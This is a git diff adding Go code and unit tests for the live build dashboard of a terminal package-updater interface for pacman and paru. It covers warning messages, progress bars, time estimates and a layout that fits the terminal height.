+// backend and its child, each reports the interrupt -- and two identical
+// warnings stacked on top of each other is how the bottom of the screen
+// became a wall of text nobody reads.
+func (b *BuildView) AddMessage(text string, details ...string) {
+ if text == "" {
+ return
+ }
+ for _, existing := range b.Messages {
+ if existing.Text == text {
+ return
+ }
+ }
+ if len(b.Messages) >= 8 {
+ // older ones scroll off the top; dismissal is how the list shortens
+ b.Messages = b.Messages[1:]
+ if b.Cursor > 0 {
+ b.Cursor--
+ }
+ }
+ b.Messages = append(b.Messages, BuildMessage{Text: text, Details: details})
+ // the cursor follows the newest, so the bar marks what just happened
+ // rather than the oldest warning on screen
+ b.Cursor = len(b.Messages) - 1
+}
+
+// Dismiss removes the message under the cursor, for this session only.
+//
+// A warning that cannot be got rid of is one people learn to read past, and
+// these sit on the same lines as the progress they are covering.
+func (b *BuildView) Dismiss() {
+ if b.Cursor < 0 || b.Cursor >= len(b.Messages) {
+ return
+ }
+ b.Messages = append(b.Messages[:b.Cursor], b.Messages[b.Cursor+1:]...)
+ if b.Cursor >= len(b.Messages) {
+ b.Cursor = max(0, len(b.Messages)-1)
+ }
+}
+
+// MoveCursor walks the messages.
+func (b *BuildView) MoveCursor(step int) {
+ if len(b.Messages) == 0 {
+ b.Cursor = 0
+ return
+ }
+ b.Cursor += step
+ if b.Cursor < 0 {
+ b.Cursor = 0
+ }
+ if b.Cursor >= len(b.Messages) {
+ b.Cursor = len(b.Messages) - 1
+ }
+}
+
+// clock is how long the run has been going.
+//
+// The wall clock is the primary source because it ticks continuously. The
+// backend reports an elapsed figure only when a phase ends, so that figure
+// alone would freeze the display at whatever the last phase took. It still wins
+// when it is larger, which covers attaching to a run already in progress.
+func (b *BuildView) clock() float64 {
+ return math.Max(time.Since(b.Started).Seconds(), b.Elapsed)
+}
+
+func seconds(v float64) string {
+ total := int(v)
+ switch {
+ case total < 60:
+ return fmt.Sprintf("%ds", total)
+ case total < 3600:
+ return fmt.Sprintf("%dm%02ds", total/60, total%60)
+ default:
+ return fmt.Sprintf("%dh%02dm", total/3600, (total%3600)/60)
+ }
+}
+
+func bytes(n int64) string {
+ if n <= 0 {
+ return "—"
+ }
+ units := []string{"B", "KiB", "MiB", "GiB", "TiB"}
+ v := float64(n)
+ i := 0
+ for v >= 1024 && i < len(units)-1 {
+ v /= 1024
+ i++
+ }
+ if i == 0 {
+ return fmt.Sprintf("%d B", n)
+ }
+ return fmt.Sprintf("%.1f %s", v, units[i])
+}
+
+// View draws the live run. `dashboard` off leaves only the feed, which is the
+// same toggle the rest of the tool uses.
+func (b *BuildView) View(width int, hideHints bool, height int) string {
+ if b.Output != nil {
+ return b.Output.View(width, height)
+ }
+ if !b.Dashboard {
+ return b.renderFeedOnly(width, height)
+ }
+
+ // Blocks are rendered first and then trimmed, because predicting their
+ // heights meant accounting for every placeholder, blank and cursor shift
+ // by hand -- and getting it wrong by one line pushed the controls off the
+ // bottom, which is exactly the thing this is here to prevent.
+ head := []string{
+ spread(Accent.Render("updater"), Muted.Render(b.phaseLine()), width),
+ b.progressLine(width),
+ }
+
+ done := []string{Title.Render("DONE"), ""}
+ switch {
+ case len(b.Feed) == 0:
+ done = append(done, " "+Muted.Render("nothing finished yet"))
+ default:
+ done = append(done, b.feedLines(width)...)
+ }
+
+ building := []string{"", Title.Render("BUILDING"), ""}
+ if len(b.Running) == 0 {
+ building = append(building, " "+Muted.Render("nothing building"))
+ }
+ for _, state := range b.Running {
+ building = append(building, b.runningLine(state, width))
+ }
+
+ messages := b.messageLines(width)
+
+ output := []string{}
+ if b.LogOpen {
+ output = append(output, "", Title.Render("OUTPUT"))
+ if len(b.Log) == 0 {
+ output = append(output, " "+Muted.Render("nothing yet"))
+ }
+ for _, line := range b.tailLog() {
+ output = append(output, " "+Muted.Render(
+ ansi.Truncate(line, max(8, width-6), "…")))
+ }
+ }
+
+ // Split, not a single element: footer() returns five lines as one string,
+ // and a budget that counts elements rather than lines comes up four short
+ // -- which is exactly how the controls ended up off the bottom.
+ tail := append([]string{""}, strings.Split(b.footer(width), "\n")...)
+ if !hideHints {
+ tail = append(tail, "", b.hintLine(width))
+ }
+ if b.Recovery != nil {
+ hint := b.Recovery.Note
+ if hint == "" {
+ hint = strings.Join(b.Recovery.Command, " ")
+ }
+ leader := Accent.Render("R") + " "
+ room := max(4, width-ansi.StringWidth(leader)-3)
+ tail = append([]string{
+ leader + Text.Render(ansi.Truncate(b.Recovery.Label, room, "…")) +
+ " " + Muted.Render(ansi.Truncate(hint, room, "…")),
+ }, tail...)
+ }
+
+ if height <= 0 {
+ return clipLines(strings.Join(
+ concat(head, done, building, output, messages, tail), "\n"), height)
+ }
+
+ // Problems do not get to crowd out the work they are about. Left alone,
+ // half a dozen warnings filled the screen and no finished package was
+ // visible at all; dismissing them is how the list gets shorter.
+ fixed := len(head) + len(building) + len(output) + len(tail)
+ if cap := max(0, (height-fixed)/2); len(messages) > cap {
+ messages = messages[len(messages)-cap:]
+ // cut at a message boundary so a warning does not start mid-sentence
+ for len(messages) > 0 && messages[0] != "" {
+ messages = messages[1:]
+ }
+ }
+
+ // Everything except the finished list is fixed. What is left goes to the
+ // feed, newest first, and whatever does not fit is named rather than
+ // silently dropped.
+ room := height - len(head) - len(building) - len(messages) - len(output) - len(tail)
+ if room < len(done) {
+ // not even the "DONE" heading fits; drop entries until it does
+ keep := max(0, room-3) // heading, its blank, and room for the note
+ if keep == 0 {
+ done = nil
+ } else {
+ entries := done[2:]
+ if len(entries) > keep {
+ dropped := len(entries) - keep
+ done = append(done[:2],
+ " "+Muted.Render(fmt.Sprintf("… %d earlier", dropped)))
+ done = append(done, entries[dropped:]...)
+ }
+ }
+ }
+trim:
+ for len(head)+len(done)+len(building)+len(output)+len(messages)+len(tail) > height {
+ // shed whatever is least useful, oldest first
+ switch {
+ case len(done) > 2:
+ done = append(done[:2], done[3:]...)
+ case len(output) > 0:
+ output = output[:len(output)-1]
+ case len(messages) > 0:
+ messages = messages[1:]
+ case len(building) > 3:
+ building = building[:len(building)-1]
+ default:
+ // Nothing left to give: the controls stay, and the backstop below
+ // trims whatever is still over. This is a labelled break because
+ // an unlabelled one breaks the switch, not the loop -- which is a
+ // spin, not a fix.
+ break trim
+ }
+ }
+ return clipLines(strings.Join(
+ concat(head, done, building, output, messages, tail), "\n"), height)
+}
+
+// messageLines renders the warnings, with the selected one opened out.
+func (b *BuildView) messageLines(width int) []string {
+ out := make([]string, 0, len(b.Messages)*2)
+ for i, message := range b.Messages {
+ if i == b.Cursor {
+ // The same treatment the list gives a selected row: a filled bar,
+ // not just a different glyph. A marker alone was too quiet to tell
+ // apart from the warning's own styling.
+ out = append(out, "",
+ Selected.Render(fit(ansi.Strip("▸ "+message.Text), width)))
+ for _, line := range message.Details {
+ out = append(out, " "+Muted.Render(
+ ansi.Truncate(line, width-6, "…")))
+ }
+ continue
+ }
+ out = append(out, "", Warn.Render("! "+
+ ansi.Truncate(message.Text, width-4, "…")))
+ }
+ return out
+}
+
+// feedLines renders the finished list, oldest first.
+func (b *BuildView) feedLines(width int) []string {
+ out := make([]string, 0, len(b.Feed))
+ for _, entry := range b.Feed {
+ out = append(out, b.feedLine(entry, width))
+ }
+ return out
+}
+
+func concat(parts ...[]string) []string {
+ n := 0
+ for _, part := range parts {
+ n += len(part)
+ }
+ out := make([]string, 0, n)
+ for _, part := range parts {
+ out = append(out, part...)
+ }
+ return out
+}
+
+func (b *BuildView) phaseLine() string {
+ if b.Finished {
+ status := "done"
+ if b.Return != 0 {
+ status = fmt.Sprintf("exited %d", b.Return)
+ }
+ return fmt.Sprintf("%s · %s", status, seconds(b.clock()))
+ }
+ label := b.Phase
+ if label == "" && len(b.Phases) > 0 {
+ label = b.Phases[0]
+ }
+ where := ""
+ for i, phase := range b.Phases {
+ if phase == label {
+ where = fmt.Sprintf("%d/%d", i+1, len(b.Phases))
+ }
+ }
+ // The count lives on the progress line below; repeating it here was the
+ // third place the same two numbers appeared.
+ if where == "" {
+ return seconds(b.clock())
+ }
+ return fmt.Sprintf("%s %s · %s", label, where, seconds(b.clock()))
+}
+
+func (b *BuildView) feedLine(entry feedEntry, width int) string {
+ mark, style := "+", Incoming
+ switch entry.state {
+ case "fail":
+ mark, style = "x", Outgoing
+ case "skip":
+ mark, style = "-", Warn
+ }
+ left := " " + style.Render(mark) + " " + Text.Render(entry.name)
+ if entry.version != "" {
+ left += " " + Ver.Render(entry.version)
+ }
+ if entry.shared {
+ left += " " + Muted.Render("↻ shared")
+ }
+ return spread(left, Muted.Render(seconds(entry.elapsed)), width)
+}
+
+// minEstimateProgress is how far a run must have got before an estimate means
+// anything. The arithmetic divides by progress, so near the start it is both
+// unstable and enormous.
+const minEstimateProgress = 0.05
+
+// spinner cycles with the frame counter, which the build events advance.
+var buildSpinner = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
+
+// pulse returns the indicator for this frame. A build that takes minutes and
+// looks identical every second is indistinguishable from one that has hung.
+func (b *BuildView) pulse() string {
+ return Accent.Render(buildSpinner[b.Frame%len(buildSpinner)])
+}
+
+func (b *BuildView) runningLine(state plan.BuildState, width int) string {
+ left := " " + b.pulse() + " " + Text.Render(state.Name)
+ if state.Phase != "" {
+ left += " " + Muted.Render(state.Phase)
+ }
+ if state.Workers != "" {
+ left += " " + Muted.Render(state.Workers)
+ } else if state.Jobs > 1 {
+ left += " " + Muted.Render(fmt.Sprintf("%d jobs", state.Jobs))
+ }
+ return spread(left, Muted.Render(seconds(state.Elapsed)), width)
+}
+
+// fit pads or truncates to an exact visible width, so columns line up whatever
+// the content.
+func fit(s string, width int) string {
+ w := ansi.StringWidth(s)
+ if w == width {
+ return s
+ }
+ if w < width {
+ return s + strings.Repeat(" ", width-w)
+ }
+ return ansi.Truncate(s, width, "…")
+}
+
+// counts is the single answer to "how many are done" and "how many failed".
+//
+// One source, counted the same way everywhere: the header must agree with the
+// list beneath it, and two tallies that can disagree eventually will.
+func (b *BuildView) counts() (done, failed int) {
+ for _, entry := range b.Feed {
+ if entry.state == "fail" {
+ failed++
+ } else {
+ done++
+ }
+ }
+ return done, failed
+}
+
+func (b *BuildView) footer(width int) string {
+ done, failed := b.counts()
+ waiting := max(0, b.Total-done-failed-len(b.Running))
+
+ failStyle := Muted
+ if failed > 0 {
+ failStyle = Err
+ }
+
+ // One row of counts, leaving the progress line as the only thing that says
+ // how far the run has got.
+ parts := []string{
+ Accent.Render(fmt.Sprintf("▶ %d running", len(b.Running))),
+ OK.Render(fmt.Sprintf("✓ %d done", done)),
+ failStyle.Render(fmt.Sprintf("✗ %d failed", failed)),
+ Muted.Render(fmt.Sprintf("· %d waiting", waiting)),
+ }
+ line := strings.Join(parts, Desc.Render(" "))
+
+ // Downloads are only known for the repository phase; paru does not report
+ // what it fetches, so there is nothing to say during the AUR one.
+ if b.Downloads > 0 {
+ detail := bytes(b.Downloads)
+ if rate := rateLabel(b.Rate); rate != "—" {
+ detail += " " + rate
+ }
+ return Title.Render("BUILDS") + "\n" +
+ spread(line, Muted.Render(detail), width)
+ }
+ // The one row with no spread, so it must be fitted to the width itself.
+ return Title.Render("BUILDS") + "\n" +
+ ansi.Truncate(line, width, "…")
+}
+
+// progressLine is the bar, drawn across the whole width.
+//
+// The full width is what makes movement legible; the footer stays a table of
+// counts rather than a second place to read the same numbers.
+func (b *BuildView) progressLine(width int) string {
+ done, failed := b.counts()
+ // Two totals, because they answer different questions: the footer counts
+ // packages, and the bar measures work. A run of forty one-second downloads
+ // and one four-minute build is nearly over when the downloads are done.
+ // The package count is the fallback: a run whose weights were never sent,
+ // or a stream being replayed, still has to show something sensible.
+ total := max(b.Weight, b.Total, b.resolvedWeight())
+ worked := min(b.resolvedWeight(), total)
+
+ // Where the run stands, in the fewest words that say it.
+ status := fmt.Sprintf("%d/%d", worked, total)
+ if failed > 0 {
+ status += fmt.Sprintf(" · %d failed", failed)
+ }
+ if left, ok := b.eta(); ok {
+ status += " · ~" + seconds(left) + " left"
+ }
+ if b.Finished {
+ status = fmt.Sprintf("%d/%d · %s", done+failed, total,
+ map[bool]string{true: "complete", false: "stopped"}[failed == 0])
+ if failed > 0 {
+ status = fmt.Sprintf("%d/%d · %d failed", done+failed, total, failed)
+ }
+ }
+
+ // nothing has succeeded: the bar should not read as progress
+ style := Accent
+ if failed > 0 && done == 0 {
+ style = Err
+ }
+ info := Muted.Render(status)
+ room := width - ansi.StringWidth(info) - 3
+ if room < 10 {
+ return fit(info, width)
+ }
+ return styleBarBar(worked, total, room, style) + " " + info
+}
+
+// styleBarBar draws the filled part in the given style.
+func styleBarBar(done, total, width int, style lipgloss.Style) string {
+ if total <= 0 {
+ return Muted.Render(strings.Repeat("─", width))
+ }
+ filled := min(width, max(0, done*width/total))
+ if filled == width {
+ return style.Render(strings.Repeat("━", width))
+ }
+ return style.Render(strings.Repeat("━", filled)) +
+ Rule.Render(strings.Repeat("─", width-filled))
+}
+
+// progressBar draws completed work against the whole.
+func progressBar(done, total, width int) string {
+ if width <= 0 {
+ return ""
+ }
+ if total <= 0 {
+ return Muted.Render(strings.Repeat("░", width))
+ }
+ filled := done * width / total
+ filled = min(width, max(0, filled))
+ if filled == width {
+ return OK.Render(strings.Repeat("█", width))
+ }
+ return OK.Render(strings.Repeat("█", filled)) +
+ Muted.Render(strings.Repeat("░", width-filled))
+}
+
+// eta estimates what is left from the average of what has finished.
+//
+// Only offered once two packages are done: one sample is not an average, and
+// showing an estimate derived from it would be inventing a number.
+// eta is what is left, from how long the run has taken against how far it has
+// got.
+//
+// Linear: half way in the same time again, a quarter of the way in three times
+// as long. It uses everything the run has shown rather than a subset, so it is
+// available from the first moments and corrects itself as the run goes -- a
+// mean over finished packages could not say anything until several had.
+//
+// It inherits the weight model: "how far it has got" is measured in work, so
+// the estimate is only as good as the idea that the remaining work is
+// proportional to the remaining weight.
+func (b *BuildView) eta() (float64, bool) {
+ worked := b.resolvedWeight()
+ total := max(b.Weight, b.Total, worked)
+ if worked <= 0 || total <= 0 {
+ return 0, false
+ }
+ elapsed := b.clock()
+ if elapsed <= 0 {
+ return 0, false
+ }
+ progress := float64(worked) / float64(total)
+ if progress < minEstimateProgress {
+ // a couple of per cent of a run says nothing about the other
+ // ninety-eight, and the arithmetic divides by it
+ return 0, false
+ }
+ return elapsed * (1 - progress) / progress, true
+}
+
+func rateLabel(rate float64) string {
+ if rate <= 0 {
+ return "—"
+ }
+ return bytes(int64(rate)) + "/s"
+}
+
+func (b *BuildView) hintLine(width int) string {
+ // Only what applies right now, and only the few that matter. Everything
+ // else is behind ?, because a bar of eight bindings is one nobody reads --
+ // the same reason the main list keeps its own help behind a key.
+ type hint struct {
+ key, desc string
+ weight int
+ }
+ all := []hint{}
+ if b.Finished {
+ all = append(all, hint{"q", "quit", 100}, hint{"esc", "back to the list", 95})
+ if len(b.Messages) == 0 {
+ all = append(all, hint{"enter", "back to the list", 90})
+ }
+ } else {
+ all = append(all, hint{"ctrl+c", "abort", 100})
+ if b.CanSkip() {
+ all = append(all, hint{"s", "skip this package", 96})
+ }
+ }
+ if b.Recovery != nil {
+ all = append(all, hint{"R", b.Recovery.Label, 98})
+ }
+ if len(b.Messages) > 0 {
+ all = append(all,
+ hint{"enter", "read", 92},
+ hint{"j/k", "warnings", 70},
+ hint{"d", "dismiss", 65})
+ }
+ all = append(all,
+ hint{"o", "output", 60},
+ hint{"D", "finished", 58})
+ // last, and never the one dropped
+ all = append(all, hint{"?", "help", 1})
+
+ // Bounded twice, because either bound alone gets it wrong. A ceiling keeps
+ // the bar from growing with the terminal -- on a wide screen it reached
+ // nine bindings simply because there was room. Fitting to the width keeps
+ // the important keys on a narrow one, where a fixed ceiling pushed them
+ // past the edge and the tail was cut instead.
+ const ceiling = 6
+ order := make([]int, len(all))
+ for i := range order {
+ order[i] = i
+ }
+ sort.SliceStable(order, func(a, c int) bool {
+ return all[order[a]].weight > all[order[c]].weight
+ })
+
+ sep := Desc.Render(" · ")
+ part := func(h hint) string {
+ return Key.Render(h.key) + " " + Desc.Render(h.desc)
+ }
+
+ // The help key is never dropped, so its room is reserved first: fitting
+ // the others and appending it anyway overflowed a narrow terminal, and
+ // truncating instead cut the one hint that explains the rest.
+ helpIndex := len(all) - 1
+ help := part(all[helpIndex])
+ budget := width - ansi.StringWidth(help) - ansi.StringWidth(sep)
+
+ keep := map[int]bool{helpIndex: true}
+ used := 0
+ for i, index := range order {
+ if i >= ceiling || index == helpIndex {
+ continue
+ }
+ cost := ansi.StringWidth(part(all[index]))
+ if used > 0 {
+ cost += ansi.StringWidth(sep)
+ }
+ if used+cost > budget {
+ continue
+ }
+ keep[index] = true
+ used += cost
+ }
+
+ parts := make([]string, 0, len(keep))
+ for i, h := range all {
+ if keep[i] {
+ parts = append(parts, part(h))
+ }
+ }
+ return strings.Join(parts, sep)
+}
+
+// renderFeedOnly is the ledger form: finished packages and nothing else, which
+// is what you want when you would rather watch a log than a dashboard.
+func (b *BuildView) renderFeedOnly(width, height int) string {
+ lines := []string{}
+ for _, entry := range b.Feed {
+ mark, style := "+", Incoming
+ if entry.state == "fail" {
+ mark, style = "x", Outgoing
+ }
+ line := style.Render(mark) + " " + Text.Render(entry.name)
+ if entry.version != "" {
+ line += " " + Ver.Render(entry.version)
+ }
+ if entry.elapsed > 0 {
+ line += " " + Muted.Render(seconds(entry.elapsed))
+ }
+ lines = append(lines, ansi.Truncate(line, width, "…"))
+ }
+ for _, state := range b.Running {
+ line := Accent.Render("▶ ") + Text.Render(state.Name) + " " +
+ Muted.Render(state.Phase)
+ lines = append(lines, spread(line, Muted.Render(seconds(state.Elapsed)), width))
+ }
+ if len(lines) == 0 {
+ lines = append(lines, Muted.Render("waiting…"))
+ }
+ // Show the end: a few thousand finished packages is a megabyte a frame at
+ // five frames a second when every entry is rendered.
+ if height > 0 && len(lines) > height {
+ lines = lines[len(lines)-height:]
+ }
+ return strings.Join(lines, "\n")
+}
diff --git a/tui/internal/ui/build_test.go b/tui/internal/ui/build_test.go
@@ -0,0 +1,1596 @@
+package ui
+
+import (
+ "fmt"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/lipgloss"
+
+ "github.com/charmbracelet/x/ansi"
+ "strings"
+ "testing"
+ "time"
+
+ "updater-tui/internal/plan"
+)
+
+func source() *plan.Detail { return nil }
+
+func TestBuildViewFollowsTheEventStream(t *testing.T) {
+ b := NewBuildView([]string{"repo", "aur"}, 10)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"repo", "aur"}, Total: 10})
+ b.Apply(plan.Event{Event: "phase_start", Phase: "repo", Command: "pacman -Syu", Total: 46})
+ b.Apply(plan.Event{Event: "build", Done: 2,
+ Packages: []plan.BuildState{{Name: "mesa", Phase: "install", Elapsed: 3}},
+ DownloadBytes: 1024, DownloadRate: 512})
+ b.Apply(plan.Event{Event: "finished", Name: "mesa", Version: "1-1", Elapsed: 4.2, State: "done"})
+
+ if b.Phase != "repo" || b.Command != "pacman -Syu" {
+ t.Errorf("phase = %q, command = %q", b.Phase, b.Command)
+ }
+ // The run total from `start` stands. The phase's own count is smaller, and
+ // taking it left the bar reading full while a phase was still to come.
+ if b.Total != 10 {
+ t.Errorf("total = %d, want the run total 10", b.Total)
+ }
+ if len(b.Running) != 1 || b.Running[0].Name != "mesa" {
+ t.Errorf("running = %+v", b.Running)
+ }
+ if len(b.Feed) != 1 || b.Feed[0].name != "mesa" {
+ t.Errorf("feed = %+v", b.Feed)
+ }
+ if b.Downloads != 1024 {
+ t.Errorf("downloads = %d", b.Downloads)
+ }
+}
+
+func TestTheFeedKeepsArrivalOrder(t *testing.T) {
+ // newest at the bottom is what makes it readable as a record
+ b := NewBuildView(nil, 3)
+ for _, name := range []string{"first", "second", "third"} {
+ b.Apply(plan.Event{Event: "finished", Name: name, Elapsed: 1})
+ }
+ got := []string{b.Feed[0].name, b.Feed[1].name, b.Feed[2].name}
+ want := []string{"first", "second", "third"}
+ for i := range want {
+ if got[i] != want[i] {
+ t.Fatalf("feed order = %v, want %v", got, want)
+ }
+ }
+}
+
+func TestAFailedPackageIsMarkedNotCountedAsDone(t *testing.T) {
+ b := NewBuildView(nil, 2)
+ b.Apply(plan.Event{Event: "finished", Name: "good", Elapsed: 1})
+ b.Apply(plan.Event{Event: "failed", Name: "bad", Elapsed: 2})
+ b.Apply(plan.Event{Event: "build", Done: 1, Total: 2})
+ view := plain(b.View(100, false, 0))
+ if !strings.Contains(view, "✗ 1 failed") {
+ t.Errorf("footer does not report the failure:\n%s", view)
+ }
+ if !strings.Contains(view, "✓ 1 done") {
+ t.Errorf("footer miscounts done:\n%s", view)
+ }
+}
+
+func TestHidingTheDashboardLeavesOnlyTheFeed(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "finished", Name: "pkgA", Version: "1-1", Elapsed: 5})
+ full := plain(b.View(100, false, 0))
+
+ b.Dashboard = false
+ feed := plain(b.View(100, false, 0))
+
+ if len(feed) >= len(full) {
+ t.Errorf("the feed-only view is not shorter: %d vs %d", len(feed), len(full))
+ }
+ if !strings.Contains(feed, "pkgA") {
+ t.Errorf("the feed lost its content:\n%s", feed)
+ }
+ if strings.Contains(feed, "BUILDS") {
+ t.Errorf("the footer survived hiding the dashboard:\n%s", feed)
+ }
+}
+
+func TestTheBuildViewNeverExceedsTheWidth(t *testing.T) {
+ b := NewBuildView([]string{"repo", "aur"}, 3)
+ b.Apply(plan.Event{Event: "phase_start", Phase: "aur",
+ Command: "paru -S --needed --noconfirm a-very-long-package-name-here"})
+ b.Apply(plan.Event{Event: "finished", Name: strings.Repeat("x", 120), Elapsed: 3})
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: strings.Repeat("y", 90), Phase: "cargo", Elapsed: 1, Jobs: 4}}, Done: 1})
+
+ for _, width := range []int{60, 80, 100, 140} {
+ for _, dashboard := range []bool{true, false} {
+ b.Dashboard = dashboard
+ for i, line := range strings.Split(b.View(width, false, 0), "\n") {
+ if got := len([]rune(stripANSI(line))); got > width {
+ t.Errorf("width %d dashboard=%v line %d is %d cells: %q",
+ width, dashboard, i, got, stripANSI(line))
+ }
+ }
+ }
+ }
+}
+
+func TestProtocolErrorsAreSurfacedNotSwallowed(t *testing.T) {
+ b := NewBuildView(nil, 1)
+ b.AddProtocolError(errString("backend sent a line that is not JSON"))
+ view := plain(b.View(100, false, 0))
+ if !strings.Contains(view, "not JSON") {
+ t.Errorf("a protocol error was hidden:\n%s", view)
+ }
+}
+
+type errString string
+
+func (e errString) Error() string { return string(e) }
+
+func TestExitCodeReadsTheProcessStatus(t *testing.T) {
+ if got := exitCode(nil); got != 0 {
+ t.Errorf("nil error should be 0, got %d", got)
+ }
+ if got := exitCode(errString("boom")); got != 1 {
+ t.Errorf("a generic error should be 1, got %d", got)
+ }
+}
+
+func TestARecoverableFailureOffersAWayToFinishIt(t *testing.T) {
+ // A conflict is a question, not a fault: pacman has to be told whether to
+ // replace a package, and --noconfirm cannot answer. Leaving the reader at
+ // a dead end with an exit code is not an option.
+ b := NewBuildView([]string{"aur"}, 0)
+ b.Apply(plan.Event{Event: "error", Message: "conflicting packages (scenefx)"})
+ b.Apply(plan.Event{Event: "recovery", RecoveryLabel: "finish in a terminal",
+ RecoveryCommand: []string{"paru", "-S", "--needed", "mangowm-git"},
+ RecoveryNote: "prompts work as usual"})
+ b.Apply(plan.Event{Event: "done", Returncode: 1})
+
+ if b.Recovery == nil {
+ t.Fatal("the recovery was dropped")
+ }
+ view := plain(b.View(110, false, 0))
+ if !strings.Contains(view, "finish in a terminal") {
+ t.Errorf("the way out is not offered:\n%s", view)
+ }
+ if !strings.Contains(view, "prompts work as usual") {
+ t.Errorf("what it will do is not explained:\n%s", view)
+ }
+}
+
+func TestASuccessfulRunOffersNoRecovery(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 0)
+ b.Apply(plan.Event{Event: "done", Returncode: 0})
+ if b.Recovery != nil {
+ t.Error("a clean run invented a recovery")
+ }
+ if strings.Contains(plain(b.View(110, false, 0)), "finish in a terminal") {
+ t.Error("a clean run offered a terminal fallback")
+ }
+}
+
+func TestAFailedPackageIsCountedAsFailed(t *testing.T) {
+ // The watcher sees a makepkg exit and files the package as done, because
+ // it cannot read an exit code. paru's result is the only thing that knows,
+ // so the interface must be told -- otherwise the failure count sits at
+ // zero while the log says otherwise.
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 3})
+ b.Apply(plan.Event{Event: "finished", Name: "a", State: "done", Elapsed: 6})
+ b.Apply(plan.Event{Event: "finished", Name: "b", State: "done", Elapsed: 2})
+ b.Apply(plan.Event{Event: "failed", Name: "b", Elapsed: 2})
+
+ done, failed := 0, 0
+ for _, entry := range b.Feed {
+ if entry.state == "fail" {
+ failed++
+ } else {
+ done++
+ }
+ }
+ if failed != 1 {
+ t.Errorf("failed = %d, want 1", failed)
+ }
+ if done != 1 {
+ t.Errorf("done = %d, want 1", done)
+ }
+ if len(b.Feed) != 2 {
+ t.Errorf("the package was counted twice: %d entries", len(b.Feed))
+ }
+ view := plain(b.View(110, false, 0))
+ if !strings.Contains(view, "1 failed") {
+ t.Errorf("the dashboard does not report the failure:\n%s", view)
+ }
+}
+
+func TestAFailureForAnUnseenPackageStillCounts(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "failed", Name: "ghost", Elapsed: 1})
+ if len(b.Feed) != 1 || b.Feed[0].state != "fail" {
+ t.Errorf("feed = %+v", b.Feed)
+ }
+}
+
+func TestAFailedPackageLeavesTheRunningSet(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "a", Phase: "cargo", Elapsed: 3},
+ }})
+ if len(b.Running) != 1 {
+ t.Fatalf("running = %+v", b.Running)
+ }
+ b.Apply(plan.Event{Event: "failed", Name: "a", Elapsed: 3})
+ if len(b.Running) != 0 {
+ t.Errorf("a failed package is still shown as building: %+v", b.Running)
+ }
+}
+
+func TestTheClockKeepsTickingBetweenPackages(t *testing.T) {
+ // The backend reports an elapsed figure only when a phase ends, so a clock
+ // that trusts it alone freezes: the display read 19s while a package had
+ // been building for nearly two minutes.
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Started = time.Now().Add(-90 * time.Second)
+ b.Elapsed = 19 // stale, from an earlier phase
+
+ if got := b.clock(); got < 89 {
+ t.Errorf("clock = %.0fs, want the wall time (~90s)", got)
+ }
+}
+
+func TestTheClockNeverGoesBackwardsOnAResumedRun(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Started = time.Now() // the interface attached late
+ b.Elapsed = 600 // the run has really been going ten minutes
+
+ if got := b.clock(); got < 599 {
+ t.Errorf("clock = %.0fs, want the backend's figure", got)
+ }
+}
+
+// -- messages can be read and got rid of ----------------------------------
+
+func TestWarningsCanBeWalkedAndDismissed(t *testing.T) {
+ // They sit on the same lines as the progress they cover, and a warning
+ // that cannot be got rid of is one people learn to read past.
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Apply(plan.Event{Event: "error", Message: "6 package(s) left the AUR",
+ Details: []string{"grrs-git", "librewolf-bin"}})
+ b.Apply(plan.Event{Event: "error", Message: "7 are not cloned yet",
+ Details: []string{"aconfmgr-git"}})
+
+ if len(b.Messages) != 2 {
+ t.Fatalf("messages = %+v", b.Messages)
+ }
+ view := plain(b.View(110, true, 0))
+ if !strings.Contains(view, "6 package(s) left the AUR") {
+ t.Errorf("the warning is not shown:\n%s", view)
+ }
+ // the cursor follows the newest; walking up shows the older one's detail
+ b.MoveCursor(-1)
+ if got := plain(b.View(110, true, 0)); !strings.Contains(got, "grrs-git") {
+ t.Errorf("the selected warning has no detail:\n%s", got)
+ }
+ b.MoveCursor(1) // back to the newest, where the dismissal checks expect it
+
+ // the cursor starts on the first; moving to the second and dismissing
+ // removes that one and leaves the first
+ b.MoveCursor(1)
+ b.Dismiss()
+ if len(b.Messages) != 1 || b.Messages[0].Text != "6 package(s) left the AUR" {
+ t.Errorf("dismissed the wrong one: %+v", b.Messages)
+ }
+ b.Dismiss()
+ if len(b.Messages) != 0 {
+ t.Errorf("messages survived: %+v", b.Messages)
+ }
+ // dismissing everything must not leave the cursor out of range
+ b.Dismiss()
+ b.MoveCursor(-1)
+ if b.Cursor != 0 {
+ t.Errorf("cursor = %d", b.Cursor)
+ }
+}
+
+func TestTheCursorStaysInsideTheList(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 1)
+ b.Apply(plan.Event{Event: "error", Message: "only one"})
+ for i := 0; i < 5; i++ {
+ b.MoveCursor(1)
+ }
+ if b.Cursor != 0 {
+ t.Errorf("cursor ran past the end: %d", b.Cursor)
+ }
+ for i := 0; i < 5; i++ {
+ b.MoveCursor(-1)
+ }
+ if b.Cursor != 0 {
+ t.Errorf("cursor went negative: %d", b.Cursor)
+ }
+}
+
+// -- the output panel -----------------------------------------------------
+
+func TestTheOutputPanelShowsWhatIsRunning(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", LogLines: []string{
+ "==> Making package: helix-git", " -> Compiling helix-term v25.1",
+ }})
+ if strings.Contains(plain(b.View(110, true, 0)), "Compiling helix-term") {
+ t.Error("the output shows while the panel is closed")
+ }
+ b.LogOpen = true
+ view := plain(b.View(110, true, 0))
+ for _, want := range []string{"OUTPUT", "Making package", "Compiling helix-term"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("the output panel is missing %q:\n%s", want, view)
+ }
+ }
+}
+
